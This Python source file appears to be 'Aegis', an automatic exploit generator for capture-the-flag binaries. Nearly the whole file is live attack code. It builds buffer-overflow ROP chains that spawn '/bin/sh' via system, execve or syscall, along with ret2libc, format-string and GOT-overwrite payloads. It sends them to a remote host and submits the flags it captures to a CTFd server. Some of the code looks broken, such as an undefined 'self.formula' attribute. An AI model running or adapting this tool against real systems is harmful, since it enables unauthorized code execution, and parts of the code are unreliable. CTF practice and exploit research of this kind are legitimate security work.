aegis

#!/usr/bin/env python
import logging
import argparse
import os
import json
import requests

from pwn import *
from multiprocessing import *

from rage.rage import rAEG
from rage.machine import Machine
from rage.against import Against
from rage.log import aegis_log
from rage.poker import Poker


class Aegis:
    """Class that does the control flow for analysis and execution."""

    def __init__(self, binary, libc, ip, port, ctfd, flag_format, id):
        self.binary = os.path.abspath(binary)
        self.binary_name = binary.split("/")[-1]
        self.elf = ELF(self.binary)
        self.rop = ROP(self.elf)

        self.libc = ELF(libc) if libc != None else self.elf.libc

        self.poker = Poker()

        print(self.poker.formula["mitigations"]["nx"])

        self.ip = ip
        self.port = port
        self.ctfd = ctfd
        self.chal_id = id
        self.flag_format = flag_format if flag_format is not None else b"flag"

        self.access_token = os.environ.get("CTFD_TOK")
        self.headers = {
            "Authorization": f"Token {self.access_token}",
            "Content-Type" : "application/json",
        }

        self.symbol = rAEG(self.binary)
        self.machine = Machine(self.binary, self.formula)
        
        self.static_analysis() 
        self.against = Against(self.binary, self.libc, self.machine, self.ip, self.port, self.flag_format)

        #self.symbolic_padding = None
        #self.padding = None
        self.failed = False
        self.has_format = False
        self.array_write = (None, None)
        self.got_targets = None
        self.printf_addrs = []

    def static_analysis(self):
        self.machine.check_mitigations()
        self.machine.check_vulnerable_input()
        self.machine.check_leak()
        self.array_write = self.machine.check_array_write()
        self.printf_addrs = self.machine.check_vulnerable_printf()

        if len(self.printf_addrs) > 0:
            self.has_format = True 
            self.got_targets = self.machine.find_target_got_entries(self.printf_addrs[0])
        else:
            self.got_targets = self.machine.get_got_functions("main")

    def symbolic_analysis(self):
        if self.array_write == (None, None) or self.array_write == None:
            self.symbol.stack_smash() 
            self.symbolic_padding = self.symbol.symbolic_padding
                

            if self.has_format == False:
                self.has_format = self.symbol.has_format 

    def setup_exploit(self):
        self.against.chain = b""

        win_gadget = self.machine.find_win_gadget()
        win_function = None

        if win_gadget != None:
            win_function = self.machine.bv.get_functions_containing(win_gadget)
            win_function = win_function[0] if len(win_function) >= 1 else None
            win_function = win_function.name if win_function != None else None

        solution = self.symbol.find_path(win_gadget)
        # Simple Path to Win Gadget
        if solution != None:
            self.against.exploit = solution
            self.exploit()
        
        if len(self.printf_addrs) > 0:
            aegis_log.info(f"[{self.binary_name}] Found vulnerable printf at {hex(self.printf_addrs[0])}")
            solution = self.symbol.find_path(self.printf_addrs[0])
            if solution != None:
                aegis_log.info(f"[{self.binary_name}] Found path to printf at {hex(self.printf_addrs[0])} with {solution}")
                self.against.exploit = solution
                self.exploit()
        
 
        function = self.machine.find_functions(["win", "system", "execve", "syscall"])
        string = self.machine.find_string_address()
        writeable = self.machine.find_writeable_address()

        function = function[0] if len(function) > 0 else None
        self.against.padding = self.symbolic_padding if self.symbolic_padding != None else b"A" * self.machine.padding_size

        # Either Format String Vuln or Array Out of Bounds
        if len(self.against.padding) == 0:
            aegis_log.warning(f"[{self.binary_name}] Could not find buffer overflow")

            if self.has_format == True:
                self.against.format_leak("")
                if self.against.flag == None:
                    if "pwnme" in self.elf.sym.keys(): 
                        self.against.format_write(1337, self.elf.sym["pwnme"])
                        self.exploit()
                    else:
                        got_addr = None
                        if self.got_targets != None and len(self.got_targets) > 0:
                            got_addr = self.elf.got[self.got_targets[-1]]
                        else:
                            if "fflush" in self.elf.got.keys():
                                got_addr = self.elf.got["fflush"]
                        if function == "win" and got_addr != None:
                            self.against.format_write(self.elf.sym["win"], got_addr)
                            self.exploit()
                        elif win_gadget and got_addr != None:
                            self.against.format_write(win_gadget, got_addr)
                            self.exploit()
                else:
                    aegis_log.info(f"[{self.binary_name}] Found local flag through stack leak: {self.against.flag}")

                    self.against.format_leak("REMOTE")
                    if self.against.remote_flag != None:
                        aegis_log.info(f"[{self.binary_name}] Found remote flag through stack leak: {self.against.remote_flag}")
                        self.send_flag(self.against.remote_flag)
            else:

                if self.got_targets != None:
                    got_addr = self.elf.got[self.got_targets[-1]]
                else:
                    got_addr = self.elf.got["printf"]
                
                if self.array_write != (None, None):

                    aegis_log.debug(f"Writing to {self.got_targets[-1]}")
                    self.against.array_write(self.array_write, got_addr)
                    self.exploit()
                    bad_entries = ["__gmon_start__", "stdin", "stdout", "stderr", "system"]                    
                    if self.against.remote_flag == None or self.against.flag == None:
                        for got_entry in self.elf.got.keys():
                            if got_entry in bad_entries:
                                continue
                            aegis_log.debug(f"Writing to {got_entry}")
                            self.against.array_write(self.array_write, self.elf.got[got_entry])
                            self.exploit()

        # Stack Based Buffer Overflow ROP
        else: 
            if function == "win" or win_function:
                func = "win" if function == "win" else win_function
                goal_addr = self.machine.get_goal_addr(func)
                params = self.machine.find_path(func, goal_addr)
                aegis_log.debug(f"[{self.binary_name}] Setting up return to win with function with parameters {params}")
                self.against.chain += self.against.rop_chain_call_function(func, params)
                self.against.exploit = self.against.padding + self.against.chain

            elif function == "system":
                if not string:
                    self.against.chain += self.against.rop_chain_write_string(b"/bin/sh\x00", writeable)
                    self.against.chain += self.against.rop_chain_call_function(function, [writeable])
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to system with parameters {hex(writeable)}")
                if string:
                    self.against.chain += self.against.rop_chain_call_function(function, [string])
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to system with parameters {hex(string)}")
                self.against.exploit = self.against.padding + self.against.chain
            elif function == "execve":
                if not string:
                    self.against.chain += self.against.rop_chain_write_string(b"/bin/sh\x00", writeable)
                    self.against.chain += self.against.rop_chain_call_function(function, [writeable, 0, 0])
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to execve with parameters {hex(writeable)}")
                if string:
                    self.against.chain += self.against.rop_chain_call_function(function, [string, 0, 0])
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to execve with parameters {hex(string)}")
                self.against.exploit = self.against.padding + self.against.chain
            elif function == "syscall":

                if not string:
                    self.against.chain += self.against.rop_chain_write_string(b"/bin/sh\x00", writeable)
                    self.against.chain += self.against.rop_chain_call_function(function, [59, writeable, 0, 0])
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to syscall with paramters {[59, hex(writeable)]}")
                if string:
                    self.against.chain += self.against.rop_chain_call_function(function, [59, string, 0, 0]) 
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to syscall with paramters {[59, hex(string)]}")
                self.against.exploit = self.against.padding + self.against.chain
            else:

                if self.machine.leak == True:
                    aegis_log.debug(f"[{self.binary_name}] Setting up ret2libc with given leak")

                elif len(self.machine.find_functions(["puts","printf"])) > 0 and self.machine.find_reg_gadget("rdi") != None:
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to puts")
                    self.against.chain = self.against.rop_ret2puts()
                elif len(self.machine.find_functions(["gets"])) > 0 and self.machine.find_reg_gadget("rdi") != None:
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to dlresolve")
                    self.against.chain = self.against.rop_chain_dlresolve()
            self.exploit()
            if self.against.remote_flag == None:
                if len(self.machine.find_functions(["puts","printf"])) > 0 and self.machine.find_reg_gadget("rdi") != None:
                    aegis_log.debug(f"[{self.binary_name}] Setting up return to puts")
                    self.against.chain = self.against.rop_ret2puts()
                
                self.exploit()



    def write_solve_script(self):
        """Write the solve to a script for writeup purposes."""
        #! TODO

    def send_flag(self, flag):
        """Sends the flag to ctfd service"""
        if self.ctfd == None or self.chal_id == None or self.access_token == None:
            return 
        
        challenge_url = f"{self.ctfd}/api/v1/challenges/attempt"
        data = json.dumps({"challenge_id" : self.chal_id, "submission" : flag})

        response = requests.post(challenge_url, headers=self.headers, data=data)
        json_data = response.json()
        if "data" in json_data:
            message = json_data["data"]["message"]
        else:
            message = json_data

        if message == "Correct":
            aegis_log.critical(f"[{self.binary_name}] Got correct flag: {flag}")
        else:
            aegis_log.error(f"[{self.binary_name}] Flag submission failed: {message} for {flag}")
            

    def exploit(self):
        """Create and run exploit using Against module."""
        aegis_log.debug(f"Setting up exploit")
        chain_len = len(self.against.chain) if self.against.chain is not None else 0
        format_len = len(self.against.format_exploit) if self.against.format_exploit is not None else 0

        if chain_len > 0:
            aegis_log.debug(f"[{self.binary_name}] Stack Alignment Check: {(chain_len + len(self.against.padding)) % 16}, Exploit Length: {chain_len + len(self.against.padding)}")
        else:
            if self.against.format_exploit != None:
                aegis_log.debug(f"[{self.binary_name}] Sending format string payload {self.against.format_exploit} {format_len % 16}")

        option = "GDB" if args.GDB else "" 
        #option = "REMOTE"

        self.against.process = self.against.start(option)
        self.against.send_exploit()
        if self.against.verify_flag() == False:
            aegis_log.debug(f"[{self.binary_name}] Adding ret to chain")
            ret = p64(self.rop.find_gadget(["ret"])[0])
            chain_len = len(self.against.chain)
            original_chain = self.against.chain
            self.against.chain =  self.against.chain[:(chain_len-8)] + ret + self.against.chain[(chain_len-8):]
            self.against.process = self.against.start(option)
            self.against.send_exploit()
            self.against.verify_flag()

            if self.against.flag != None:
                self.against.process = self.against.start("REMOTE")
                self.against.send_exploit()                    
                aegis_log.debug(f"[{self.binary_name}] Sent exploit to remote at {self.ip}")
                if self.against.verify_flag() == True:
                    self.send_flag(self.against.remote_flag) 
                else:
                    self.against.chain = original_chain
                    self.against.process = self.against.start("REMOTE")
                    self.against.send_exploit()                    
                    aegis_log.debug(f"[{self.binary_name}] Sent exploit to remote at {self.ip} with original chain")
                    if self.against.verify_flag() == True:
                        self.send_flag(self.against.remote_flag) 
                   
        else:
            if self.against.flag != None:
                self.against.process = self.against.start("REMOTE")
                self.against.send_exploit()
                aegis_log.debug(f"[{self.binary_name}] Sent exploit to remote at {self.ip}")
                if self.against.verify_flag() == True:
                    self.send_flag(self.against.remote_flag) 

 
def print_title():

    aegis_title = """
  ▄████████    ▄████████    ▄██████▄   ▄█     ▄████████
  ███    ███   ███    ███   ███    ███ ███    ███    ███
  ███    ███   ███    █▀    ███    █▀  ███▌   ███    █▀
  ███    ███  ▄███▄▄▄      ▄███        ███▌   ███
▀███████████ ▀▀███▀▀▀     ▀▀███ ████▄  ███▌ ▀███████████
  ███    ███   ███    █▄    ███    ███ ███           ███
  ███    ███   ███    ███   ███    ███ ███     ▄█    ███
  ███    █▀    ██████████   ████████▀  █▀    ▄████████▀    
    """


    shield_1 = """
                  ██                                          
              ████░░████                                      
          ████░░░░░░░░░░████                                  
      ████░░░░░░░░░░░░░░░░░░████                              
██████░░░░▒▒▒▒░░░░░░░░░░▓▓▓▓░░░░██████                        
██░░░░░░▓▓▒▒▓▓▓▓░░░░░░▓▓▓▓▒▒▓▓░░░░░░██                        
██░░░░░░░░▒▒░░▓▓▓▓▒▒▓▓▓▓░░▓▓░░░░░░░░██                        
██░░░░░░▒▒▓▓░░▒▒▒▒  ▓▓▓▓░░▓▓▒▒░░░░░░██                        
██░░▓▓▓▓▓▓░░▒▒▒▒      ▓▓▓▓░░▓▓▓▓▓▓░░██                        
  ██░░▓▓░░▓▓▓▓  ▓▓▓▓▓▓  ▓▓▓▓░░▓▓░░██                          
  ██░░▒▒▒▒▓▓      ▒▒      ▒▒▒▒▓▓░░██                          
  ██░░▓▓▓▓▒▒▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓░░██                          
  ██░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓░░██                          
    ██░░▓▓▓▓▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▒▓▓░░██                            
    ██░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓░░██                            
    ██░░▓▓▓▓▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒░░██                            
      ██░░▒▒▒▒▓▓▒▒▒▒▒▒▓▓▒▒▒▒░░██                              
      ██░░▓▓▓▓▒▒▓▓▒▒▒▒▒▒▓▓▓▓░░██                              
        ██░░▓▓▒▒▓▓▓▓▓▓▓▓▓▓░░██                                
          ██░░▓▓░░░░░░▓▓░░██                                  
            ██░░░░░░░░░░██                                    
              ████░░████                                      
                  ██                                          

    """

    pillar = """      
    ░░▒▒▒▒░░▒▒░░░░░░     
  ░░░░░░░░░░░░░░░░░░░░   
  ░░░░░░░░░░▒▒░░░░░░     
    ░░▒▒▒▒▒▒░░░░░░░░     
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░▒▒░░       
      ▒▒▒▒▒▒░░▒▒░░       
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░░░░░       
      ▒▒▒▒▒▒░░░░░░       
    ▒▒▒▒▒▒░░░░░░░░░░     
    ▒▒▒▒░░░░░░░░░░░░     
    ▒▒▒▒▒▒▒▒░░░░░░░░   
    """
    print(aegis_title)
    print(pillar)

def exploit_binary(binary, libc, ip, port, ctfd, id):
    aeg = Aegis(binary, libc, ip, port, ctfd, None, id)
    aeg.static_analysis()
    aeg.symbolic_analysis()
    aeg.setup_exploit()

    if aeg.against.flag != None:
        potfile = open("bininfo/.potfile", "a")
        

        string = aeg.binary_name + " " +  aeg.against.flag 
        if aeg.against.remote_flag != None:
            string += " " + aeg.against.remote_flag
        string += "\n"
        
        potfile.write(string)
        potfile.close()
    else:
        try:
            missing = open("bininfo/.missing", "a")
            missing.write(aeg.binary_name + "\n")
            missing.close()
        except:
            aegis_log.warning(".missing file not found")


 
    return aeg.against.flag



if __name__ == "__main__":
    logging.getLogger("angr").setLevel(logging.CRITICAL)
    logging.getLogger("os").setLevel(logging.CRITICAL)
    logging.getLogger("pwnlib").setLevel(logging.CRITICAL)

    #logging.getLogger("angr").setLevel(logging.DEBUG)
    logging.getLogger("aegis_log").setLevel(logging.DEBUG)



    parser = argparse.ArgumentParser( 
        prog = "Aegis", 
        description = "An automatic exploit generator framework using binaryninja, angr, ROPgadget, and pwntools"
    )

    parser.add_argument("-bin", metavar="binary", type=str, help="The binary that is to be exploited", default=None)
    parser.add_argument("-libc", metavar="libc", type=str, help="The libc shared library object linked to the binary", default=None)
    parser.add_argument("-ip", metavar="ip", type=str, help="The ip address of the remote challenge or connection info", default=None)
    parser.add_argument("-port", metavar="port", type=str, help="The port of the remote challenge", default=None)
    parser.add_argument("-login", metavar="login", type=str, help="Your login to your ctfd account", default=None)
    parser.add_argument("-pw", metavar="password", type=str, help="Your password to your ctfd account", default=None)
    parser.add_argument("-ctfd", metavar="website", type=str, help="The ctfd webpage", default=None)
    parser.add_argument("-id", metavar="challengeid", type=str, help="The ctfd challenge id", default=None)
    parser.add_argument("-batch", metavar="batch", type=str, help="Run in batch mode on file with challenges", default=None)
    parser.add_argument("-thread",action='store_true',help="Run multithreaded")

    arguments = parser.parse_args()
    print_title()

    problems = []
    solved = []

    if arguments.batch:
        if os.path.isdir(arguments.batch) == False:
            challenges = open(arguments.batch, "r").readlines()
            for chal in challenges:
                chal = chal.split(" ")
                service = chal[0]
                bin = chal[1]
                id = chal[2]
                if arguments.thread:
                    proc = Process(target=exploit_binary, args=(bin,"./libc/libc.so.6",service,None,"https://ace.ctfd.io",id))            
                    proc.start()
                else:
                    exploit_binary(bin,"./libc/libc.so.6",service,None,"https://ace.ctfd.io",id)
        else:
            for chal in sorted(os.listdir(arguments.batch)):
                file = arguments.batch + chal
                if ".git" in file or ".sh" in file or ".py" in file:
                    continue
                if arguments.thread:
                    proc = Process(target=exploit_binary, args=(file,"./libc/libc.so.6",None,None,None,None))            
                    proc.start()
                else:
                    exploit_binary(file,"./libc/libc.so.6",None,None,None,None)
    else:
        exploit_binary(arguments.bin, arguments.libc, arguments.ip, arguments.port, arguments.ctfd, arguments.id)